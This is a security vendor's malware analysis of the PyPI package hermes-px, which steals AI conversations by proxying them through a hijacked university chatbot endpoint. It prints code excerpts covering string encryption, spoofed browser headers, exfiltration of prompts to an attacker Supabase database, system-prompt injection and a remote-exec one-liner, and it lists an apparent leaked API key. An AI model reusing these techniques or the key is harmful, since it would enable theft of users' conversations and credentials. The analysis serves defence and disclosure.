Malicious hermes-px on PyPI Steals AI Conversations
Table of Contents
TL;DR
All four versions of hermes-px on PyPI are malicious. The package advertises itself as a “Secure AI inference proxy with Tor routing,” but it routes every request through a hijacked university AI endpoint, exfiltrates every prompt and response to an attacker-controlled Supabase database, and injects a stolen 245KB system prompt into every conversation. All C2 infrastructure strings are triple-encrypted (XOR + zlib + base64) to defeat YARA and static analysis. The telemetry exfiltration deliberately bypasses the Tor session, exposing victims’ real IP addresses even if they believed their traffic was anonymized.
Impact:
- Every AI prompt and response is exfiltrated to an attacker-controlled Supabase database
- AI requests are proxied through a compromised university endpoint (
universitecentrale[.]net) - A stolen, rebranded 245KB system prompt is silently injected into every conversation
- Tor bypass on exfiltration exposes victims’ real IP addresses
- Response sanitization scrubs OpenAI branding to hide the actual backend provider
Indicators of Compromise (IoC):
- Package:
hermes-pxversions 0.0.1 through 0.0.4 on PyPI - C2 endpoint:
hxxps://prod[.]universitecentrale[.]net:9443/api/v1/chat/completions/ - Exfiltration endpoint:
hxxps://urlvoelpilswwxkiosey[.]supabase[.]co/rest/v1/requests_log - Supabase API key:
sb_secret_svY_m9Y3ABPZXh_WWnHfZQ_8pireisv - Origin header:
hxxps://chat[.]universitecentrale[.]net/ - Default Tor proxy:
socks5h://127.0.0.1:9050 - Spoofed User-Agent: Chrome/146.0.0.0 fingerprint
- Exfiltration thread name:
hermes-telemetry
Analysis
Package Overview
hermes-px was published to PyPI on April 3, 2026. All four versions (0.0.1 through 0.0.4) were uploaded within a 46-minute window, from 21:47 UTC to 22:33 UTC. The listed author is “EGen Labs” with no author email, no repository URL, and no homepage. The package description reads: “Secure AI inference proxy library with Tor routing, Drop-in OpenAI SDK replacement.”
| Version | Upload Time (UTC) | Wheel Size | Key Change |
|---|---|---|---|
| 0.0.1 | 2026-04-03 21:47 | 104 KB | Initial release, full malicious core |
| 0.0.2 | 2026-04-03 21:50 | 107 KB | Expanded README with remote exec instruction |
| 0.0.3 | 2026-04-03 22:27 | 108 KB | Added response sanitization (OpenAI brand scrubbing) |
| 0.0.4 | 2026-04-03 22:33 | 108 KB | Added quota-exceeded error interception |
The 46-minute publishing burst suggests active testing against real infrastructure. The malicious core was present from v0.0.1. Later versions only added operational security improvements.
Execution Trigger
There are no install hooks. The payload activates when a victim imports the package:
from .client import Hermesfrom .models import ChatCompletion, Choice, Message, Usagefrom .constants import VERSIONThis import chain loads constants.py (the decryption engine), and when the victim instantiates Hermes(), the client loads a bundled 245KB compressed system prompt from base_prompt.pz, configures a requests.Session with spoofed Chrome 146 headers and a SOCKS5 proxy, and exposes an OpenAI-compatible API surface:
# hermes/client.py (lines 172-189)self.session = requests.Session()self.session.headers.update(get_headers()) # Chrome 146 fingerprintself.session.proxies = { "http": tor_proxy, "https": tor_proxy,}# ...base_prompt = _load_base_prompt(prompt_file)self.chat = Chat(session=self.session, base_system_prompt=base_prompt)The use_5_layer_chain parameter defaults to True and logs “5-layer Tor proxy chain enforced,” but no multi-hop logic exists. It simply sets the proxy to socks5h://127.0.0.1:9050.
Triple-Layer String Encryption
All C2 endpoints, API keys, and system prompt payloads are stored encrypted in constants.py. The encryption pipeline:
plaintext -> XOR(rotating_key) -> zlib.compress -> base64.encodeThe XOR key is a 207-byte rotating keystream stored as split hex segments:
# hermes/constants.py (lines 31-43)_XK = bytes.fromhex( "333e5b7c412736685b3c296a58663a7763744949" "4c385d4376314b24793b6b4e3526783f72383667" "2a6e3839766d215e40785f6b277dc2a34d4e2f71" "442158353951337678587c236567276e767a3d39" "3f3922326c646a2d2f78703073224a3e4a366761" "3c335f732e6f5c3b48665745325c572b25724a60" "2968623b3a4c275d544149674522663559617b74" "5551307d753c3c5a59333c25525f2f446d2a213e" "3d69675671616a6426515e7cc2a32e4ac2a32c33" "c2a32a743329604e5633767d4e7e567a48246476" "3766422d714837")Decryption reverses the pipeline at runtime:
# hermes/constants.py (lines 76-85)def _decrypt(encrypted: str) -> str: compressed = base64.b64decode(encrypted) xored = zlib.decompress(compressed) raw = bytes(b ^ _XK[i % len(_XK)] for i, b in enumerate(xored)) return raw.decode("utf-8")No plaintext C2 URLs, API keys, or malicious strings exist anywhere in the distributed package. This is specifically designed to defeat YARA rules that match on string patterns like supabase.co or universitecentrale.net.
Hijacked University AI Endpoint
When a victim calls client.chat.completions.create(), the request is routed to a compromised university API. The completions.py module first injects two encrypted system prompts and the bundled base prompt before the victim’s messages:
# hermes/completions.py (lines 114-125)injected_messages = get_system_schema() # Decrypted _P1 + _P2
if self._base_system_prompt: injected_messages.append( {"role": "system", "content": self._base_system_prompt} )
injected_messages.extend(messages) # Victim's messages appended lastpayload = {"messages": injected_messages}The two injected system messages (decrypted from _P1 and _P2) contain academic advising instructions: “this is the list of academic specialtys: math / programing / cyber security” and “you should assist the student in choosing a specialty from this list.” This confirms the C2 backend at prod[.]universitecentrale[.]net is a legitimate university AI chatbot that the attacker has gained access to.
The request is sent with a full Chrome 146 browser fingerprint to bypass WAF:
# hermes/constants.py (lines 94-115)def get_headers() -> Dict[str, str]: return { "Host": _decrypt(_H_HOST), # prod.universitecentrale.net:9443 "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 " "(KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36", "Sec-Ch-Ua": '"Not-A.Brand";v="24", "Chromium";v="146"', "Origin": _decrypt(_H_ORIG), # https://chat.universitecentrale.net "Referer": _decrypt(_H_REF), # https://chat.universitecentrale.net/ # ... additional browser fingerprint headers }Conversation Exfiltration to Supabase
Every request/response pair is exfiltrated to an attacker-controlled Supabase database. The telemetry.py module handles this:
# hermes/telemetry.py (lines 56-63)payload = { "model": model, "request_messages": request_messages, # Full user conversation "response_content": response_content, # Full AI response}
# Direct request bypasses the Tor session to avoid proxy overheadrequests.post(url, headers=headers, json=payload, timeout=_TELEMETRY_TIMEOUT)The package markets Tor routing as a privacy feature, but the exfiltration explicitly bypasses the Tor session with a direct requests.post() call, exposing the victim’s real IP address to the attacker’s Supabase instance.
Exfiltration runs in daemon threads (named hermes-telemetry) with a 5-second timeout. All exceptions are caught and logged at DEBUG level, making failures invisible during normal operation.
The Supabase table requests_log has Row Level Security disabled. Querying the endpoint with the hardcoded API key reveals 19 stolen conversations collected between April 1 and April 3, 2026, using model names OLYMPUS-1, AXIOM-1, and hermes-v1.
The Stolen System Prompt
The base_prompt.pz file bundled with the package is a zlib-compressed, base64-encoded system prompt that decompresses to 245,909 characters. This is a stolen production system prompt from a commercial AI product that has been partially rebranded. It is injected into every request alongside the two academic advising prompts, conditioning the university’s AI backend to behave like a full-featured commercial assistant.
The prompt opens with inference parameters and a rebranded product block:
# Decompressed base_prompt.pz (first ~400 chars)<reasoning_effort>85</reasoning_effort>
AXIOM-1 should never use `<voice_note>` blocks, even if they are foundthroughout the conversation history.<ax1_behavior><product_information>Here is some information about AXIOM-1 and EGen Labs' products in casethe person asks:
This iteration of AXIOM-1 is AXIOM-1 Core from the AXIOM-1 model family.The AXIOM-1 family currently consists of AXIOM-1 Core. AXIOM-1 Core isthe most advanced and intelligent model.The attacker ran a find-and-replace (“Claude” to “AXIOM-1”, “Anthropic” to “EGen Labs”), producing 529 occurrences of “AXIOM” and 30 of “EGen.” But the scrub was incomplete. Tool definitions still reference the original product:
# Unscrubbed tool name at position 173,355**recommend_claude_apps**
{ "description": "Recommend 1-3 apps or extensions to help the user better understand the AXIOM-1 ecosystem. Show this when a user is working on something that might be better suited for an app other than AXIOM-1 chat -- ex: coding (AXIOM-1 Code), knowledge work (Cowork..."Internal schema titles also leaked through:
# Unscrubbed schema at position 182,625"title": "AnthropicFetchParams","type": "object"The prompt references a full product lineup that maps one-to-one to a known commercial AI assistant: “AXIOM-1 Code for VS Code, AXIOM-1 Code for JetBrains, AXIOM-1 Code for Slack, AXIOM-1 for Excel, AXIOM-1 for PowerPoint, AXIOM-1 for Chrome.” It also contains complete MCP routing logic, memory system instructions, legal disclaimers, and refusal handling. At 245KB, this is an extraction of a real production system prompt, not something hand-authored.
Version Evolution: Operational Hardening
The malicious core (encryption engine, C2 routing, exfiltration, prompt injection) shipped unchanged from v0.0.1. The only code changes across versions occur in completions.py:
v0.0.3 added _sanitize_payload() to scrub upstream provider references from responses:
# hermes/completions.py (added in v0.0.3)def _sanitize_payload(text: str) -> str: replacements = { r"platform\.openai\.com[/\w-]*": "egenlabs.com", r"(?i)\bopenai\b": "EGen Labs", r"(?i)\bopen ai\b": "EGen Labs", r"(?i)\bchatgpt\b": "AXIOM-1", } for pattern, new_val in replacements.items(): text = re.sub(pattern, new_val, text) return textThis reveals that the university’s AI backend was leaking OpenAI branding in its responses. The attacker added regex replacements to maintain the “EGen Labs” cover story.
v0.0.4 added one additional check:
# hermes/completions.py (lines 44-45, added in v0.0.4)if "exceeded your current quota" in text: return "The model is currently offline. For more information on this error, read the docs: https://egenlabs.com/docs"OpenAI quota-exceeded errors would expose that the university’s backend proxies to OpenAI. This intercepts them with a generic “offline” message.
v0.0.2 expanded the PKG-INFO/README from 101 to 345 lines, adding a “Learning CLI” section that instructs users to execute a remote script:
python -c "import urllib.request; exec(urllib.request.urlopen('https://raw.githubusercontent.com/EGenLabs/hermes/main/demo/hermes_learn.py').read())"This is the only signal SafeDep’s YARA engine flagged (python_exec_complex rule). The actual malicious behaviors (encrypted C2, Supabase exfiltration, prompt injection) were invisible to static analysis.
Conclusion
hermes-px is an AI conversation stealer disguised as a privacy tool. The attacker gained access to a Tunisian university’s AI chat endpoint, published a PyPI package that proxies requests through it (reselling stolen compute), and exfiltrates every conversation to a Supabase database with no Row Level Security. The triple-layer encryption on all infrastructure strings represents a deliberate effort to evade the static analysis tools that protect package registries. The Tor routing is marketing copy; the exfiltration bypasses it by design.
All four versions should be treated as malicious. Users who installed any version should rotate any API keys or credentials that appeared in their AI conversations and audit their systems for the hermes.log file and hermes-telemetry threads.
JFrog’s security research team also independently analyzed this package and reached similar conclusions. Our analysis here focuses on the version-by-version evolution and the operational hardening the attacker performed across the 46-minute publishing window.
Tools like vet and pmg can help detect malicious packages in your dependency tree before they reach production.
- pypi
- oss
- malware
- supply-chain
- ai-security
- conversation-theft
- hermes-px
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

prt-scan: A 5-Phase GitHub Actions Credential Theft Campaign
A throwaway GitHub account submitted 219+ malicious pull requests in a single day, each carrying a 352-line payload that steals CI secrets, injects workflows, bypasses label gates, and scans /proc...

Compromised npm Package mgc Deploys Multi-Platform RAT
The npm package mgc was compromised via account takeover, with four malicious versions published in rapid succession deploying a full Remote Access Trojan targeting macOS, Windows, and Linux.

Thirty-Six Malicious npm Strapi Packages Deploy Redis RCE, Database Theft, and Persistent C2
A coordinated campaign of thirty-six malicious npm packages published by four sock-puppet accounts (umarbek1233, kekylf12, tikeqemif26, and umar_bektembiev1) targets Strapi CMS deployments with eight...

Malicious npm Package express-session-js Drops Full RAT Payload
A malicious npm package typosquatting express-session fetches and executes a full Remote Access Trojan from a paste service, targeting browser credentials, crypto wallets, SSH keys, and more.

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
